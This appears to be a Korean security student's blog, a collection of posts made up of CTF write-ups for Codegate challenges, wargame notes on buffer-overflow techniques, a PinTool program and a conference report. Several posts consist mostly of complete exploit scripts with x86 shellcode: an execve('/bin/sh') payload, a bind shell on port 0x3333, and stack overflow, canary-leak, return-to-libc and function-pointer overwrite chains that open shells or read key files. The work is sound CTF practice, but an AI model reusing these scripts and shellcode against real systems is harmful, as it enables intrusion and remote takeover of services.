문제가 갈수록 더 쉬워지는 기분이다;

100, 200, 300점 순서를 바꿔야 할 것 같다.

이 문제는 또 이상한게 분명히 xinetd 로 돌려서 익스플로잇을 해 봤는데, 똑같은 코드를 그대로 로컬에서 돌리면 쉘이 잘 따이는데

리모트로 공격하면 아무리 해도 안되길래 둘 다 올려둔다.

혹시라도 왜 그런지 아는 사람은 답을 주시면 감사하겠습니다.

멍청하게 찡찡댔었다.

interact를 안하다니...아직도 멀었구나.


1
2
3
4
5
6
7
8
9
10
11
12
13
import struct
import os
 
p32 = lambda x: struct.pack("<L", x)
 
#===============================================
buf = 0x080491E0
shellcode = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"
# execve("/bin/sh", ["/bin/sh", 0], 0);
#===============================================
 
payload = "-4\n"+p32(buf+4)+p32(buf+8)+"\x90"*100+shellcode
os.system('(echo "'+payload+'";cat)|./cg13_300')
cs

Local Exploit



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from hackutil import *
from socket import *
from time import *
from telnetlib import *
 
HOST = '192.168.136.180'
PORT = 7777
 
#===============================================
buf = 0x080491E0
shellcode = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"
# execve("/bin/sh", ["/bin/sh", 0], 0);
#===============================================
payload = p32(buf+4)+p32(buf+8)+"\x90"*100+shellcode
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))
print sock.recv(1024)
sock.send('-4\n'+payload)
sleep(4)
print sock.recv(1024)
 
= Telnet()
t.sock = sock
t.interact()
cs

Remote Exploit

'CTF > 지난 대회' 카테고리의 다른 글

SecuInside 2013 - givemeshell  (0) 2016.01.13
Codegate Junior 2015 Prequal - systemshock  (0) 2015.12.05
Codegate 2013 Prequal - vuln 200  (0) 2015.11.21
Codegate 2015 - Bookstore  (0) 2015.11.16
Layer7 CTF 2015 - Spil..Spli....SPPPPPIILL  (0) 2015.11.03
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

어찌된 문제가 200보다 100이 더 어렵다...

엄청 간단한 스택 버퍼 오버플로우이므로 설명은 생략.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from hackutil import *
from socket import *
from time import *
from telnetlib import *
 
HOST = '192.168.136.180'
PORT = 7777
 
#=====================================
Dummy = 'write'
recv_plt = 0x08048780
bss = 0x0804b0a0
shellcode = ("\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66"
            "\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89"
            "\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52"
            "\x66\x68\x33\x33\x66\x53\x89\xe1\x6a\x10"
            "\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04"
            "\x6a\x01\x56\x89\xe1\xcd\x80\xb0\x66\xb3"
            "\x05\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3"
            "\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80"
            "\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68"
            "\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89"
            "\xe1\x52\x89\xe2\xb0\x0b\xcd\x80"# bind port : 0x3333
 
#=====================================
 
= socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
print s.recv(1024)
 
print "==================[ Phase 1 : Inject Payload ]=================="
payload = Dummy+'A'*(0xF0+ p32(recv_plt) + p32(bss)
payload += p32(4+ p32(bss) + p32(0x1000+ p32(0)
printPayload(payload)
s.send(payload+'\n')
sleep(1)
 
print "===============[ Phase 2 : Attack with Shellcode ]=============="
 
s.send(shellcode+'\n')
sleep(1)
 
print "===================[ Phase 3 : Got the Shell ]=================="
 
s2 = socket(AF_INET, SOCK_STREAM)
s2.connect((HOST, 0x3333))
= Telnet()
t.sock = s2
t.interact()
 
s.close()
cs


'CTF > 지난 대회' 카테고리의 다른 글

Codegate Junior 2015 Prequal - systemshock  (0) 2015.12.05
Codegate 2013 Prequal - vuln 300  (0) 2015.11.21
Codegate 2015 - Bookstore  (0) 2015.11.16
Layer7 CTF 2015 - Spil..Spli....SPPPPPIILL  (0) 2015.11.03
Codegate 2013 Prequal - vuln 100  (0) 2015.10.30
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

PinTool 과제

잡담 2015. 11. 21. 13:35

제대로 이해하면서 pin을 사용해본건 처음이라고 봐도 괜찮겠습니다.

dump.txt 파일에 Base64로 20번 인코딩된 키 값이 써지고, 이를 20번 디코딩하면 키 값이 나옵니다.

처음부터 32비트 환경에서 할걸...


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <stdio.h>
#include "pin.H"
 
#define start 0x8048223
#define end 0x80A3778
 
 
INT32 Usage(){
        printf("pin -t MyPinTool.so -- prog\n");
        return 1;
}
 
int wasXOR = 0;
int xorValue = 0;
int cmpValue = 0;
 
FILE *= fopen("dump.txt""w");
 
VOID Instruction(INS ins, VOID *v) {
    ADDRINT addr = INS_Address(ins);
    if( addr >= start && addr <= end ){
                if(INS_Opcode(ins)==XED_ICLASS_CMP && INS_OperandIsImmediate(ins, 1)) {
                        cmpValue = (unsigned int)INS_OperandImmediate(ins, 1);
                        printf("CMP [unknown], 0x%x\n", cmpValue);
                        if(wasXOR) {
                                printf("[*] %c\n", xorValue^cmpValue);
                                wasXOR = 0;
                                fprintf(p, "%c", xorValue^cmpValue);
                        }
                        else {
                                printf("[*] %c\n", cmpValue);
                                fprintf(p, "%c", cmpValue);
                        }
 
                }
                if(INS_Opcode(ins)==XED_ICLASS_XOR && INS_OperandIsImmediate(ins, 1)) {
                        wasXOR = 1;
                        xorValue = (unsigned int)INS_OperandImmediate(ins, 1);
                        printf("XOR 0x%x\n", xorValue);
                }
                INS_Delete(ins);
        }
}
 
int main(int argc, char * argv[]) {
    if (PIN_Init(argc, argv)) return Usage();
    INS_AddInstrumentFunction(Instruction, 0);
    PIN_StartProgram();
    fclose(p);
    return 0;
}
cs





'잡담' 카테고리의 다른 글

무슨 일이든 꾸준히 한다는건 대단하더라  (0) 2016.03.27
pthread따위 으으  (0) 2016.03.18
Codegate 2016 Junior 예선 결과  (0) 2016.03.13
요즘 생활에 대한 고찰  (0) 2016.03.12
티스토리로 오고 느낀 점  (0) 2016.02.12
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

푸는데 오래걸리지는 않았지만 릭이 안 되는 경우가 가끔 있어서 짜증났던 문제.

이걸 스택 스프레이라고 불러도 될지 모르겠지만 어쨌든 남아있는 영역에서 참조하는게 문제가 되는 케이스이므로 그렇게 썼다. 이제 Bookstore2도 해야 하고...과제도... 으아아


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
from hackutil import *
from socket import *
from time import *
from telnetlib import *
 
HOST = '192.168.136.169'
PORT = 31330
 
#====================================================
offset_func1_read = 0xd2
adminID = 'helloadmin'
adminPW = 'iulover!@#$'
#====================================================
 
banner()
 
print "===================[ Phase 1 : Leak FuncPointer ]=================="
 
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))
 
sock.recv(1024)
sock.send(adminID)
sleep(0.1)
sock.recv(1024)
sock.send(adminPW)
sleep(0.1)
sock.recv(1024)
 
sock.send('1\n'# addBook
sleep(0.1)
sock.recv(2046)
 
sock.send('A'# name
sleep(0.1)
sock.recv(2046)
 
sock.send('A'# desc
sleep(0.1)
sock.recv(2046)
 
sock.send('0\n'# book
sleep(0.1)
sock.recv(2046)
 
sock.send('2\n'# modify
sleep(0.1)
sock.recv(2046)
 
sock.send('0\n')
sleep(0.1)
sock.recv(2046)
 
sock.send('3\n'# all
sleep(0.1)
sock.recv(2046)
 
sock.send(str(0x33333333)+'\n'# stock
sleep(0.1)
sock.recv(2046)
 
sock.send(str(0x34343434)+'\n'# price
sleep(0.1)
sock.recv(2046)
 
sock.send('1\n'# ship
sleep(0.1)
sock.recv(2046)
 
sock.send('1\n'# available
sleep(0.1)
sock.recv(2046)
 
sock.send('A'*20# name
sleep(0.1)
sock.recv(2046
 
sock.send('B'*20# description
sleep(0.1)
sock.recv(2046)
 
sock.send('0\n'# back
sleep(0.1)
sock.recv(2046)
 
#============================================
 
sock.send('4\n'# view
sleep(0.1)
 
data = sock.recv(2048)
#sleep(0.1)
funcptr1 = up32(data[data.find('3333')+4:data.find('3333')+8])[0]
readFile = funcptr1 - offset_func1_read
print "[*] Find funcptr1 : "+hex(funcptr1)
print "[*] Find ReadFile : "+hex(readFile)
 
 
#mainmenu
 
#modify_name
 
print "================[ Phase 2 : Attack with Stack Spray ]==============="
 
sock.send('2\n'# modify
sleep(0.1)
sock.recv(2046)
 
sock.send('0\n')
sleep(0.1)
sock.recv(2046)
 
sock.send('1\n'# name
sleep(0.1)
sock.recv(2046)
 
sock.send(p32(readFile)*125)
sleep(0.1)
sock.recv(2046)
 
#============================================
 
sock.send('3\n'# all
sleep(0.1)
sock.recv(2046)
 
sock.send('1234\n'# stock
sleep(0.1)
sock.recv(2046)
 
sock.send('1234\n'# price
sleep(0.1)
sock.recv(2046)
 
sock.send('0\n'# ship
sleep(0.1)
sock.recv(2046)
 
sock.send('1\n'# available
sleep(0.1)
sock.recv(2046)
 
sock.send('/home/bookstore/key\x00'# name
sleep(0.1)
sock.recv(2046)
 
sock.send('Fxxx_Bookstore'# desc
sleep(0.1)
sock.recv(2046)
 
sock.send('4\n')
sleep(0.1)
sock.recv(2046)
 
sock.send('1\n')
sleep(0.1)
sock.recv(2046)
 
sock.send('0\n')
sleep(0.1)
sock.recv(2046)
 
sock.send('3\n'# view
sleep(0.1)
sock.recv(2046)
 
sock.send('0\n')
sleep(0.1)
data = sock.recv(2048)
print "Key : "+data[data.find('Fxxx_Bookstore')+15:data.find('\n', data.find('Fxxx_Bookstore')+15)]
 
sock.close()
cs


'CTF > 지난 대회' 카테고리의 다른 글

Codegate 2013 Prequal - vuln 300  (0) 2015.11.21
Codegate 2013 Prequal - vuln 200  (0) 2015.11.21
Layer7 CTF 2015 - Spil..Spli....SPPPPPIILL  (0) 2015.11.03
Codegate 2013 Prequal - vuln 100  (0) 2015.10.30
PlaidCTF 2013 - pork  (0) 2015.10.29
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,




스택과 라이브러리로 점프하는 것이 불가능하다.

또 바이너리를 활용해야 한다.

우선 쉘코드를 올리고 해당 주소를 찾았다.

gdb로 돌리면서 argv[1]의 주소를 알아냈다. (어차피 코어 분석할거라 의미는 없다)

RET에 leave-ret을 집어넣는 것으로 Fake EBP 기법을 이용해 공격하기 위해 leave-ret 가젯을 구했다.

처음에 구한 주소는 되지 않았기에 core파일을 분석하여 내부에서 buffer의 주소를 찾고,

해당 주소-4를 SFP 자리에 집어넣어야 한다.

맨 처음 일어나는 leave로 인해 SFP에 집어넣은 주소에 EBP가 옮겨가고,

두 번째로 집어넣은 leave-ret 가젯으로 인해 한 번 더 leave가 실행되어 ESP가 buffer를 가리키게 되고

따라서 ret이 실행되면서 buffer의 첫 4바이트가 EIP에 들어가게 된다.

이를 이용해 공격에 성공했다.

'Wargame > Lord of Buffer overflow' 카테고리의 다른 글

LOB Redhat : zombie_assassin > succubus  (0) 2015.12.24
LOB Redhat : giant > assassin  (0) 2015.11.03
LOB Redhat : bugbear > giant  (0) 2015.11.03
LOB Redhat : darkknight > bugbear  (0) 2015.11.02
LOB Redhat : golem > darkknight  (0) 2015.10.17
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,


예선


본선


예선, 본선 모두 1위로 우승을 차지했습니다.

처음으로 예선 본선 나뉜 대회에서 개인의 힘으로 우승을 거머쥐어서 매우 뜻깊었던 대회라고 생각합니다.

시상식은 11월 27일 비즈쿨 페스티벌에 할 예정이라고 합니다.


Dimicon Prequal Write-up (5kyc1ad).pdf


Dimicon Qual Write-up (5kyc1ad).pdf






'CTF > Write-up' 카테고리의 다른 글

Codegate 2016 Junior Prequal Write-up  (0) 2016.03.19
제 13회 해킹캠프 CTF Write-up  (0) 2016.02.28
2015 Whitehat Contest Prequal  (0) 2015.10.13
제 12회 해킹캠프 CTF Write-up  (0) 2015.09.20
2015 inc0gnito CTF Write-up  (0) 2015.09.15
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

PoC 2015 후기

Conference 2015. 11. 6. 22:56


http://powerofcommunity.net/

11회, 12회 해킹캠프를 우승하면서 받은 PoC 2015 무료참가권으로 어제, 오늘 이틀간 컨퍼런스에 다녀왔습니다.

주제와 일정은 다음과 같았습니다.


(클릭하면 커집니다)


가장 기대하고 있었던 발표는 BoB 멘토님이신 이경문(Gilgil)님의 "Wireless(WPA) based packet dissecting"

이었습니다. 원래는 안드로이드에서의 SnoopSpy를 발표하실 예정이었으나 주제가 바뀌었습니다.


이건 PoC 참가자들에게 주는 건데, 참가확인증같은 역할이려나요.

Attendee라는 것을 증명해주는 물건 같습니다.


강연장 거의 맨 앞부분에 자리를 잡고 찍은 사진입니다.

강연 시작 전에 찍어서 아무도 찍히지는 않았습니다.

BreakTime마다 이렇게 잔뜩 병 음료와 과일 등을 두고 먹고 마실 수 있게 해 두었습니다.

몇 병을 마셨는지 기억도 잘 나지 않네요.


PoC에 와서 가장 마음에 든 문구입니다.

"Wake up, hackers!


The world asks us

our courage and cold

intelligence to fight for

freedom.


Hack now!"

꽤 멋있는 문구였습니다.


후배 둘과 아는 형이 찍은 사진인데, 저는 찍은 사진이 따로 없어서 이 사진을 올립니다.

프라이버시 보호를 위해 얼굴은 가렸습니다.


PoC 발표에 대한 개인적인 생각을 써 보자면 전체적으로 매우 수준 높고 대단한 컨퍼런스였습니다.

Codegate Junior Conference나 Secuinside Conference 등도 들어 봤지만 이만큼 수준 높고 어려웠던 컨퍼런스는 없었던 것 같습니다.

동시통역이 제공되었는데도 여전히 알아듣기 힘든 내용들이 많았고, 그만큼 얻어가는것도 많았습니다.

내년 동계 해킹캠프에서도 우승하여 3연승을 따 내고 PoC에도 또 참가하여 꼭 한번 더 듣고 싶다고 생각했습니다.

 



블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

별로 어렵지는 않았지만 argv[0]주소를 찾기 위해 브루트 포싱을 했더니 조금 귀찮았던 문제.

xinetd 데몬으로 돌아가고 있어서 쉘따기가 참 쉬웠다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from hackutil import *
from socket import *
from time import *
from telnetlib import *
 
HOST = '192.168.136.153'
PORT = 9880
 
#=======================================
system = 0x08048610
freeadd = 0x0804b0E0
#=======================================
 
banner()
 
print "===================[ Phase 1 : Password leak ]=================="
 
= socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
 
s.recv(1024)
s.send('A'*0x11d+p32(0x0804b060)+'\n')
sleep(0.1)
data = s.recv(1024)
passwd = data[data.find("***: ")+5:data.find(" terminated")]
print "[*] Found Password : "+passwd
 
print "============[ Phase 2 : Ready to RTL, Canary leak ]============="
 
= socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
 
s.recv(1024)
s.send(passwd+'\n')
s.recv(1024)
s.recv(1024)
s.send('2\n')
sleep(0.2)
s.recv(1024)
s.send('1\n')
sleep(0.2)
s.recv(1024)
s.send('4\n')
sleep(0.2)
s.recv(1024)
s.send('A'*0x15+'\n')
sleep(0.2)
s.recv(1024)
s.send('/bin/sh\x00\n')
print '[*] Inject "/bin/sh"'
sleep(0.2)
s.recv(1024)
s.send('Mini\n')
sleep(0.2)
data = s.recv(1024)
data.encode('hex')
canary = data[data.find('AAA\n')+4:data.find('Wow')]
if(len(canary)<4):
    canary = "\x00"*(4-len(canary)) + canary
canary = up32(canary)[0]
print "[*] Found canary : "+hex(canary)
 
print "==================[ Phase 3 : Attack with RTL ]================="
 
s.send('3\n')
sleep(0.2)
s.recv(1024)
payload = 'A'*0xd9+p32(canary)+"A"*0xC+p32(system)+"AAAA"+p32(freeadd)
print "[*] Length of Payload : "+str(len(payload))
s.send(payload+'\n')
print "[*] Payload Injected"
sleep(1)
s.recv(1024)
 
s.send('0\n')
sleep(0.2)
s.recv(1024)
 
s.send('1\n')
sleep(0.2)
s.recv(1024)
 
print "===================[ Phase 4 : Got the shell ]=================="
 
= Telnet()
t.sock = s
t.interact()
cs


'CTF > 지난 대회' 카테고리의 다른 글

Codegate 2013 Prequal - vuln 200  (0) 2015.11.21
Codegate 2015 - Bookstore  (0) 2015.11.16
Codegate 2013 Prequal - vuln 100  (0) 2015.10.30
PlaidCTF 2013 - pork  (0) 2015.10.29
Codegate 2014 - AngryDoraemon  (0) 2015.10.25
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,




문제에 딱히 어려운 개념은 없고 매우 간단한데 왜인지 잘 풀리지 않는 문제가 있었다.


SFP까지를 0으로 채워버리고 변조 가능한 것은 RET뿐인데 이 주소는 스택도, 라이브러리도 아니어야 한다고 한다.

그럼 바이너리 내에서 해답을 찾아야 하는데, RET에 ret명령을 집어넣으면 pop eip가 한번 더 실행되면서 뒤에 있는 값이 eip에 들어가게 된다.

이를 이용해 RET에 ret을, 이후는 shellcode의 주소를 집어넣어서 쉘을 따는데 성공했다.

블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,


자세한 건 생략하고, 이런 부분이 있다.

system 함수를 사용할 수 없고, 무조건 execve만을 사용해야 한다.

system 함수는 문자열 인자 하나만을 받았지만, execve는 다르다.

execve("/bin/sh", ["/bin/sh", 0], 0) 형식으로 실행해 주어야 하는데, 가장 귀찮은 것이 바로 두 번째 인자이다.

char형 이중 포인터인데다 배열의 첫 번째 값으로는 "/bin/sh" 첫번째 인자와 같은 값이 든 주소가 있어야 한다. 왜냐하면 execve 함수의 두번째 인자는 실행할 파일의 인자로, "/bin/sh"를 실행하면 argv[0]이 당연히 "/bin/sh"가 되어야 하기 때문이다.


조금 귀찮긴 하지만 findsh를 이용해 일단 라이브러리 내부의 "/bin/sh"의 주소를 구하고, 파일에 심볼릭 링크로 해당 주소를 넣어 주었다. 그리고 gdb를 이용해 분석하여 스택 끝부분에 들어 있는 파일명+NULL을 가져와 각각의 인자로 주었다.

이는 전에 skeleton을 공략할 때(http://5kyc1ad.tistory.com/44) 사용했던 스택 레이아웃을 보면 알 수 있다.

이는 다음과 같은데, 프로그램명 다음에 NULL이 기본으로 붙는 것을 볼 수 있다.


'Wargame > Lord of Buffer overflow' 카테고리의 다른 글

LOB Redhat : assassin > zombie_assassin  (0) 2015.11.16
LOB Redhat : giant > assassin  (0) 2015.11.03
LOB Redhat : darkknight > bugbear  (0) 2015.11.02
LOB Redhat : golem > darkknight  (0) 2015.10.17
LOB Redhat : skeleton > golem  (0) 2015.10.15
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,